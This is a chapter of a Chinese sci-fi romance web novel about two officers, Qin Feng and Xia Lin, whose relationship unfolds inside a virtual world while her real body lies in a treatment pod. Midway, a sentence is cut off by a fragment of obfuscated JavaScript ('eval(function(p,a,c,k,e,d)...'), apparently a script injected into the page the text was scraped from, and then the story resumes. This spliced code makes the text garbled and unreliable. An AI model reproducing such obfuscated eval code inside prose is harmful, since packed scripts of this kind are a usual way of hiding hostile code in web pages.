“你这句话是认真的吗?开玩笑的话,我只给你这一次反悔的机会。”走到夏林身旁的秦封站定,沉声问她。 嘴上虽这么说,但那双黑眸直直地盯着下方夏林的发旋,像一只蓄势待发的黑豹。 坐在椅子上的夏林叹了一口气,有些不耐烦地开口:“到底要不……” 余下的话语尽数消失在了唇齿之间。 这是一个仿佛要把对方揉碎了的吻。秦封的动作带着久旱逢甘霖般的急切,俯身下来之后就在唇齿间不断掠夺,仿佛要吞噬她的一切。 若说这个一向冷静的男人此时失去了理智,可那只托在她后脑勺上的手又一直小心地护着她,没让她撞到桌上任何东西,也没有让她接触到冰冷的桌面。 一吻毕。两人的呼吸交织在一起,错乱急促。秦封几近本能地将视线落到了金发间隐约露出的雪白脖颈,下方是遮得严严实实的碍事军服衣领。 他一咬牙,俯下身将头埋在了对方的金发间,深吸了一口气。 “你知道我等这一天多久了吗?”秦封哑声道。 夏林微微偏了一下头,与那双黑眸对视,说:“多久?” 秦封一挑眉,刚要开口,办公室的门突然被从外面打开。 “夏林少将!我有个……”进来的军服小哥一打开门里面的情形就知道自己进错了时机,大脑宕机了一会。 《自家少将被她的绯闻上司中将按在桌上》 大脑重启成功。 “我……我先出去了,我等会再来,等会再来。”他连连鞠躬,边说边倒退着出了门,再也没敢往办公桌那边看一眼。 还没忘记带上门。 “……” “……” 这一打岔,原本旖旎的气氛荡然无存,两人身上的温度都冷静了下来。 两人对视了一眼,秦封率先开口:“你忙吧,我去处理一下事情。晚上一起吃饭?” 夏林点了点头:“好。” 秦封拿上刚才被自己丢到角落里的光脑,转身出了门。 一关上背后的门,秦封就唤出了别人看不见的系统面板,按下了上面的视频通话按钮,一接通就黑了脸:“你在搞什么?” 本来就是虚拟空间,哪来的什么突然闯进办公室打断亲热的士兵。 光屏里显示出的陌生短发女生一听这话立即白了他一眼,冷嘲热讽道:“您不务正业也太久了吧?军部催你文件呢,你之前不是说过现实里的紧急事件就第一时间联系你?自己把光脑丢了,联系不上你我没办法才这样的,还赖我。” “……”秦封依旧冷着一张脸,但他已经呼出了自己的光脑页面,正在专心浏览上面的内容。 “不过,”短发女生突然沉下了声,“你是否还记得你进入这个虚拟空间的目的?你自己在里面和夏林的意识体甜甜蜜蜜,有没有想过她现实的身体还躺在冰冷的治疗舱里?” “难道你只是为了满足自己的需要吗?”女生最后的话语十分冰冷。 “我如果只是为了自己的需要,我绝不可能在这里耗上八年的虚拟时间,直到今天才第一次与她接吻。”秦封沉声回答。 “……你最好时刻记得这一点。”短发女生说完这一句就关闭了通话屏幕。 秦封抿了下唇,转身消失在了原地。 · 与秦封确认关系之后,对方似乎恨不得24小时都贴在她身边。 夏林看了一眼身旁将头靠在自己肩膀上却没有感到一点重量的秦封。他们今天是一起在外面晒太阳吃午餐。 还是秦封给她带的,从学生时代这人好像就有点投喂上瘾的趋势。 她以前还觉得秦封很有距离感挺高冷来着,觉得这样很成熟的她还学了个十成十。 夏林稍微反思了一下自己看人的眼光。 冬日的太阳晒得人暖洋洋的,但时而刮起的风还是让裸露在外的皮肤一阵战栗。 夏林发现自己的手被秦封以一个极其自然态度牵了起来,十指紧扣。 “别冻到了。”秦封直起了身,转而将夏林拉进了怀里靠着,另一只手还顺手摸了摸夏林的金发。 夏林偏过头看着秦封,如实道:“我不冷。”她上午做了足量的体能训练,都热到出汗洗了个澡才来的。 话落就想直起身离开那个胸膛。 夏林还是觉得有些微妙。 结果被秦封按住了肩膀制止,对方下一句话说得毫无心理压力:“我冷。” 夏林也没多想,只是下意识地跟了一句:“最近好像是没看到你参加什么训练。” 毕竟他几乎24小时都往她这跑呢,难不成是晚上训练? 可是她记得秦封晚上一直都睡得很早。 “……什么意思?” 夏林对这句话蕴含的危险毫无感知,很自然地回道:“身体有点虚了。目前的这个温度对于边境星球来说……” 她这句话还没说完就被贴上来的双唇夺去了气息。 这次的吻明显带着些胡搅蛮缠,如狂风暴雨般在四处落下,末了还咬了一口她的耳朵。 夏林伸手摸了一下被咬的耳朵。 落在她腰间的手微微收紧,秦封在她耳边低声道:“那今天晚上不准加班了,得带我出去吃点好的‘补补’。” 这回夏林听出来了,对方此时的“委屈”明显是装的。 夏林的手还没有移开,秦封这句话几乎是贴着她的手背说的,温热的气息拂了上来。 不知道是不是错觉,夏林似乎还感觉到对方在她的手背上轻轻落下了一吻。 …… 秦封,好像真的很喜欢她。 夏林在心里再一次得出了这个结论。 原本她以为,这么多年来他们都维 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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虽然夏林也有几次登陆过军部的系统核实过确实有下发给中将秦封的军令,但她知道不是这样的。 因为这里并不是现实。 秦封和她是不一样的。 冬日的阳光明媚,但吹来的风始终带着这个季节应有的温度。 只是身边少了一个人的体温,夏林却莫名感觉到了一阵不该有的寒意。 于是她从座椅上站了起来,活动了一下手脚。 不管秦封对她有着怎样的期望,说到底还是因为她才被“困”在这个地方的。 他本来浪费在这里的时间或许能做更多有意义的事情,会遇见更好的人。 ……幸好还没有太久,她还没有对秦封太过习惯。 因为午休时间还有很长,夏林慢慢地往自己的办公室方向走。 一路上与遇见的下属打招呼,看了一会装备室里新进的机甲配件,指点了精力旺盛的新士兵们的对练。 最后回到办公室座位上坐下。 夏林打开光脑,登入军部系统查看今日信息。她一目十行地看,过了一会忽然发现伸出的右手握了个空。 桌上空荡荡的。 因为今天秦封有事提前走了,没有一起买饮料带回来。 夏林下意识地抬头。 正对面的沙发上空无一人。 …… 这一连串的动作,她真的还没有对秦封太过习惯吗? 没有吗? 她抿心自问。 一个人的办公室寂静得可怕,只有夏林能听到自己间歇的呼吸声。 …… …… 可必须要“没有”才对。